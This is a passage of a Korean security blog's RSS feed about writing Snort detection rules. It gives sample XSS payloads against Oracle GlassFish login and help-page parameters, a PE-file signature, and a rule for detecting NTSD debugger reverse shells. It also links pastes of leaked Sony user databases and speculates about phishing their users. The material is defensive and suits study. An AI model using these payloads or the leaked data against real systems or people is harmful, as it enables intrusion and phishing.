		<media:content url="http://1.gravatar.com/avatar/5289e16f0e2ff017f202c851f8952740?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">kimms17</media:title>
		</media:content>
	</item>
		<item>
		<title>Oracle Sun GlassFish Enterprise Server Stored XSS Vulnerability</title>
		<link>http://snortrules.wordpress.com/2011/08/17/oracle-sun-glassfish-enterprise-server-stored-xss-vulnerability/</link>
		<comments>http://snortrules.wordpress.com/2011/08/17/oracle-sun-glassfish-enterprise-server-stored-xss-vulnerability/#comments</comments>
		<pubDate>Wed, 17 Aug 2011 01:13:57 +0000</pubDate>
		<dc:creator>kimms17</dc:creator>
				<category><![CDATA[Rule Create]]></category>
		<category><![CDATA[sos-11-009; glassfish;]]></category>

		<guid isPermaLink="false">http://snortrules.wordpress.com/?p=486</guid>
		<description><![CDATA[&#60;Stored xss 취약점&#62; 로그인 필드에 &#8216;&#62;\&#8221;&#62;&#60;script&#62;alert(3);&#60;/script&#62;같은 코드를 넣으면 로그에는 잘못된 로그 시도로 위의 코드가 저장될 것이고, 유저가 로그 파일을 검색할 때, 유저의 브라우져 에서는 저장된 악성코드가(위의 코드가)실행될 것 이다. &#60;Reflected xss 취약점&#62; windowsTitle 이나 helpFile의 변수를 다음과 같이 변경할 때 Reflected xss 취약점이 발생할 수 있다. /com_sun_webui_jsf/help/helpwindow.jsf?&#38;windowTitle=Help+Window&#8217;&#62;\&#8221;&#62; &#60;script&#62;alert(1);&#60;/script&#62;&#38;helpFile=commontask.html /com_sun_webui_jsf/help/helpwindow.jsf?&#38;windowTitle=Help+Window&#38; helpFile=commontask.html&#8217;&#62;\&#8221;&#62;&#60;script&#62;alert(1);&#60;/script&#62; &#160; &#160; Stored xss 취약점 [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=486&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>&lt;Stored xss 취약점&gt;</p>
<p>로그인 필드에</p>
<p>&#8216;&gt;\&#8221;&gt;&lt;script&gt;alert(3);&lt;/script&gt;같은 코드를 넣으면 로그에는 잘못된 로그 시도로 위의 코드가 저장될 것이고,</p>
<p>유저가 로그 파일을 검색할 때, 유저의 브라우져 에서는 저장된 악성코드가(위의 코드가)실행될 것 이다.</p>
<p lang="en-US">
<p>&lt;Reflected xss 취약점&gt;</p>
<p>windowsTitle 이나 helpFile의 변수를 다음과 같이 변경할 때 Reflected xss 취약점이 발생할 수 있다.</p>
<p lang="en-US">
<p lang="en-US">/com_sun_webui_jsf/help/helpwindow.jsf?&amp;windowTitle=Help+Window&#8217;&gt;\&#8221;&gt;</p>
<p lang="en-US">&lt;script&gt;alert(1);&lt;/script&gt;&amp;helpFile=commontask.html</p>
<p lang="en-US">
<p lang="en-US">/com_sun_webui_jsf/help/helpwindow.jsf?&amp;windowTitle=Help+Window&amp;</p>
<p lang="en-US">helpFile=commontask.html&#8217;&gt;\&#8221;&gt;&lt;script&gt;alert(1);&lt;/script&gt;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Stored xss 취약점</p>
<p>alert tcp any any -&gt; any any (content:&#8221;/j_security_check?loginbutton&#8221;; nocase; pcre:&#8221;/j_username\x3d%27%3E%5C%22%3E%3Cscript[^&gt;]*%3E[^&lt;]*%3C%2Fscript%3e/i&#8221;)</p>
<p lang="en-US">
<p>Reflaeted xss 취약점</p>
<p>alert tcp any any -&gt; any any (content:&#8221;/com_sun_webui_jsf/help/helpwindow.jsf&#8221;; nocase; pcre:&#8221;/\x27\x3e\x5c\x22\x3e\x3cscript[^&gt;]*\x3e[^&lt;]*\x3c\x2fscript\x3e/i&#8221;)</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/snortrules.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/snortrules.wordpress.com/486/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/snortrules.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/snortrules.wordpress.com/486/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/snortrules.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/snortrules.wordpress.com/486/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/snortrules.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/snortrules.wordpress.com/486/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/snortrules.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/snortrules.wordpress.com/486/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/snortrules.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/snortrules.wordpress.com/486/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/snortrules.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/snortrules.wordpress.com/486/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=486&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://snortrules.wordpress.com/2011/08/17/oracle-sun-glassfish-enterprise-server-stored-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5289e16f0e2ff017f202c851f8952740?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">kimms17</media:title>
		</media:content>
	</item>
		<item>
		<title>PE File 탐지 방법</title>
		<link>http://snortrules.wordpress.com/2011/08/12/475/</link>
		<comments>http://snortrules.wordpress.com/2011/08/12/475/#comments</comments>
		<pubDate>Thu, 11 Aug 2011 23:15:24 +0000</pubDate>
		<dc:creator>kooja</dc:creator>
				<category><![CDATA[Rule Create]]></category>
		<category><![CDATA[실행파일 탐지]]></category>
		<category><![CDATA[PE파일]]></category>

		<guid isPermaLink="false">http://snortrules.wordpress.com/?p=475</guid>
		<description><![CDATA[PE 파일을 탐지하기 위한 시그니처 입니다. ALERT TCP any any -&#62; any any (msg:&#8221;PE FILE Detection&#8221;; Content:&#8221;&#124;4d 5a&#124;&#8221;; byte_jump:4,58,relative,little; byte_test:2,=,0&#215;5045,-64,relative; sid:01;) 첫번재 시그니처 4d 5a를 탐지후 offset 58byte(relative)로 4바이트 값 만큼 점프하면 PE헤더 시작 주소를 지정하고 있습니다. 이 PE헤더 주소값은 offset 0부터 계산한 값을 가지고 있습니다. 따라서 탐지 위해서는 content탐지 시 사용한 2byte, byte_jump를 하면서 사용한 [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=475&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>PE 파일을 탐지하기 위한 시그니처 입니다.<br />
ALERT TCP any any -&gt; any any (msg:&#8221;PE FILE Detection&#8221;; Content:&#8221;|4d 5a|&#8221;; byte_jump:4,58,relative,little; byte_test:2,=,0&#215;5045,-64,relative; sid:01;)</p>
<p><a href="http://snortrules.files.wordpress.com/2011/08/peed97a4eb8d94-ed8390eca780.jpg"><img class="alignnone  wp-image-504" title="pe헤더 탐지" src="http://snortrules.files.wordpress.com/2011/08/peed97a4eb8d94-ed8390eca780.jpg?w=561&#038;h=353" alt="" width="561" height="353" /></a></p>
<p>첫번재 시그니처 4d 5a를 탐지후 offset 58byte(relative)로 4바이트 값 만큼 점프하면</p>
<p>PE헤더 시작 주소를 지정하고 있습니다.</p>
<p>이 PE헤더 주소값은 offset 0부터 계산한 값을 가지고 있습니다.</p>
<p>따라서 탐지 위해서는 content탐지 시 사용한 2byte, byte_jump를 하면서 사용한 58+4byte를 빼야 PE헤더 시작 주소를</p>
<p>찾을 수 있습니다.  그럼으로  byte_test의 offset은 -64가 되는 것입니다.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/snortrules.wordpress.com/475/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/snortrules.wordpress.com/475/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/snortrules.wordpress.com/475/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/snortrules.wordpress.com/475/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/snortrules.wordpress.com/475/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/snortrules.wordpress.com/475/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/snortrules.wordpress.com/475/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/snortrules.wordpress.com/475/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/snortrules.wordpress.com/475/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/snortrules.wordpress.com/475/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/snortrules.wordpress.com/475/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/snortrules.wordpress.com/475/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/snortrules.wordpress.com/475/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/snortrules.wordpress.com/475/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=475&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://snortrules.wordpress.com/2011/08/12/475/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/bbca7e29b30a1b6019a09a3048a83059?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">kooja</media:title>
		</media:content>

		<media:content url="http://snortrules.files.wordpress.com/2011/08/peed97a4eb8d94-ed8390eca780.jpg?w=300" medium="image">
			<media:title type="html">pe헤더 탐지</media:title>
		</media:content>
	</item>
		<item>
		<title>소니 뮤직 재팬과 소니 BMG 해킹</title>
		<link>http://snortrules.wordpress.com/2011/05/25/%ec%86%8c%eb%8b%88-%eb%ae%a4%ec%a7%81-%ec%9e%ac%ed%8c%ac%ea%b3%bc-%ec%86%8c%eb%8b%88-bmg-%ed%95%b4%ed%82%b9/</link>
		<comments>http://snortrules.wordpress.com/2011/05/25/%ec%86%8c%eb%8b%88-%eb%ae%a4%ec%a7%81-%ec%9e%ac%ed%8c%ac%ea%b3%bc-%ec%86%8c%eb%8b%88-bmg-%ed%95%b4%ed%82%b9/#comments</comments>
		<pubDate>Wed, 25 May 2011 04:23:51 +0000</pubDate>
		<dc:creator>regexkorea</dc:creator>
				<category><![CDATA[Hot issue]]></category>
		<category><![CDATA[소니 BMG 해킹]]></category>
		<category><![CDATA[소니 뮤직 재팬]]></category>
		<category><![CDATA[regexkorea]]></category>

		<guid isPermaLink="false">http://snortrules.wordpress.com/?p=459</guid>
		<description><![CDATA[http://pastebin.com/NyEFLbyX http://groups.google.com/group/isdpodcast/msg/948387b7a25bc070 위 링크에서는 유출된 DB 내용을 보여준다. 패스워드는 hash 값을 이용하여 저장했기때문에 유추하기는 어렴움이 있을것 같고, 사용자 이름과 이메일 주소가 있기때문에 악의적인 메일을 전송해서 소니 피싱 사이트로 유도한 후 패스워드 변경을 유도한다면 기존의 패스워드를 알아내거나 앞으로 변경할 패스워드의 내용을 얻을 수 있을 것으로 보인다.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=459&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://pastebin.com/NyEFLbyX">http://pastebin.com/NyEFLbyX</a><br />
<a href="http://groups.google.com/group/isdpodcast/msg/948387b7a25bc070">http://groups.google.com/group/isdpodcast/msg/948387b7a25bc070</a></p>
<p>위 링크에서는 유출된 DB 내용을 보여준다.</p>
<p>패스워드는 hash 값을 이용하여 저장했기때문에 유추하기는 어렴움이 있을것 같고, 사용자 이름과 이메일 주소가 있기때문에 악의적인 메일을 전송해서 소니 피싱 사이트로 유도한 후 패스워드 변경을 유도한다면 기존의 패스워드를 알아내거나 앞으로 변경할 패스워드의 내용을 얻을 수 있을 것으로 보인다.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/snortrules.wordpress.com/459/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/snortrules.wordpress.com/459/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/snortrules.wordpress.com/459/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/snortrules.wordpress.com/459/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/snortrules.wordpress.com/459/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/snortrules.wordpress.com/459/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/snortrules.wordpress.com/459/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/snortrules.wordpress.com/459/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/snortrules.wordpress.com/459/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/snortrules.wordpress.com/459/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/snortrules.wordpress.com/459/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/snortrules.wordpress.com/459/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/snortrules.wordpress.com/459/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/snortrules.wordpress.com/459/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=459&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://snortrules.wordpress.com/2011/05/25/%ec%86%8c%eb%8b%88-%eb%ae%a4%ec%a7%81-%ec%9e%ac%ed%8c%ac%ea%b3%bc-%ec%86%8c%eb%8b%88-bmg-%ed%95%b4%ed%82%b9/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dbf840f4ae0f45f8e88afdc48182e77f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">regexkorea</media:title>
		</media:content>
	</item>
		<item>
		<title>NTSD를 통한 리버스 커넥션 탐지</title>
		<link>http://snortrules.wordpress.com/2011/05/13/ntsd%eb%a5%bc-%ed%86%b5%ed%95%9c-%eb%a6%ac%eb%b2%84%ec%8a%a4-%ec%bb%a4%eb%84%a5%ec%85%98-%ed%83%90%ec%a7%80/</link>
		<comments>http://snortrules.wordpress.com/2011/05/13/ntsd%eb%a5%bc-%ed%86%b5%ed%95%9c-%eb%a6%ac%eb%b2%84%ec%8a%a4-%ec%bb%a4%eb%84%a5%ec%85%98-%ed%83%90%ec%a7%80/#comments</comments>
		<pubDate>Fri, 13 May 2011 07:27:43 +0000</pubDate>
		<dc:creator>asc3tic</dc:creator>
				<category><![CDATA[Hot issue]]></category>

		<guid isPermaLink="false">http://snortrules.wordpress.com/?p=450</guid>
		<description><![CDATA[NTSD.EXE는 소프트웨어 개발자의 편의를 위해서 NT계열의 윈도우에 기본적으로 포함되어있는 MS에서 제공한 유저 모드 디버거로 원격 디버깅 프로그램입니다. 해당 프로그램은 %SYSTEMRO OT%\system32\의 하위에 존재합니다. NTSD.EXE를 통한 리버스 커넥션은 디버거 자체가 지니고 있는 원격 디버깅 기능을 통해서 수행할 수 잇습니다. 공격자는 배치 파일이나 스크립트 파일을 통하여 NTSD.EXE를 실행시킵니다.( 서버 오픈) 공격자에서의 서버 연결 및 쉘 획득 탐지 [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=450&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>NTSD.EXE는 소프트웨어 개발자의 편의를 위해서 NT계열의 윈도우에 기본적으로 포함되어있는 MS에서 제공한 유저 모드 디버거로 원격 디버깅 프로그램입니다. 해당 프로그램은 %SYSTEMRO OT%\system32\의 하위에 존재합니다.</p>
<p>NTSD.EXE를 통한 리버스 커넥션은 디버거 자체가 지니고 있는 원격 디버깅 기능을 통해서 수행할 수 잇습니다. 공격자는 배치 파일이나 스크립트 파일을 통하여 NTSD.EXE를 실행시킵니다.( 서버 오픈)</p>
<p><a href="http://snortrules.files.wordpress.com/2011/05/ec98a4ed9488.png"><img class="alignnone size-medium wp-image-453" title="오픈" src="http://snortrules.files.wordpress.com/2011/05/ec98a4ed9488.png?w=277&#038;h=300" alt="" width="277" height="300" /></a></p>
<p>공격자에서의 서버 연결 및 쉘 획득</p>
<p><a href="http://snortrules.files.wordpress.com/2011/05/ec9b90eab2a9eca780ec9790ec849c.png"><img class="alignnone size-medium wp-image-454" title="원격지에서" src="http://snortrules.files.wordpress.com/2011/05/ec9b90eab2a9eca780ec9790ec849c.png?w=300&#038;h=300" alt="" width="300" height="300" /></a></p>
<p>탐지 룰은 다음과 같습니다.</p>
<p>alert tcp any any -&gt; any any (msg:&#8221;possible ntds connection&#8221;; flow:from_server; dsize:128; content:&#8221;DRPC|02 00 00 00 39 56 fe 27 07 84 47 4f 83 64 ee 11 8f b0 8a c8 |&#8221; offset:0; detph:24;)</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/snortrules.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/snortrules.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/snortrules.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/snortrules.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/snortrules.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/snortrules.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/snortrules.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/snortrules.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/snortrules.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/snortrules.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/snortrules.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/snortrules.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/snortrules.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/snortrules.wordpress.com/450/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=snortrules.wordpress.com&amp;blog=8453981&amp;post=450&amp;subd=snortrules&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://snortrules.wordpress.com/2011/05/13/ntsd%eb%a5%bc-%ed%86%b5%ed%95%9c-%eb%a6%ac%eb%b2%84%ec%8a%a4-%ec%bb%a4%eb%84%a5%ec%85%98-%ed%83%90%ec%a7%80/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f62201a64b8b51f964853474c590dcb3?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">asc3tic</media:title>
		</media:content>

		<media:content url="http://snortrules.files.wordpress.com/2011/05/ec98a4ed9488.png?w=277" medium="image">
			<media:title type="html">오픈</media:title>
		</media:content>

		<media:content url="http://snortrules.files.wordpress.com/2011/05/ec9b90eab2a9eca780ec9790ec849c.png?w=300" medium="image">
			<media:title type="html">원격지에서</media:title>
		</media:content>
	</item>
	</channel>
</rss>
